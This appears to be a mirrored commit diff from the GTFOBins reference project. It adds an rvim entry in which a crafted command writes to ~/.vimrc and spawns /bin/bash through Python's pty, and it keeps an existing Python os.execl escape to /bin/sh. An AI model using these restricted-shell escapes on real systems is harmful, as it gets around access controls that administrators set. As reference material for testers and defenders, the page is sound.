mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-06-06 22:36:04 +02:00
Merge 1894142c8a
into 97f46f1526
This commit is contained in:
commit
e4979ae345
|
@ -1,6 +1,8 @@
|
|||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: This requires that `rvim` version is `< 9.0.1440`.
|
||||
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
|
||||
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
- description: This requires that `rvim` is compiled with Lua support.
|
||||
|
|
Loading…
Reference in New Issue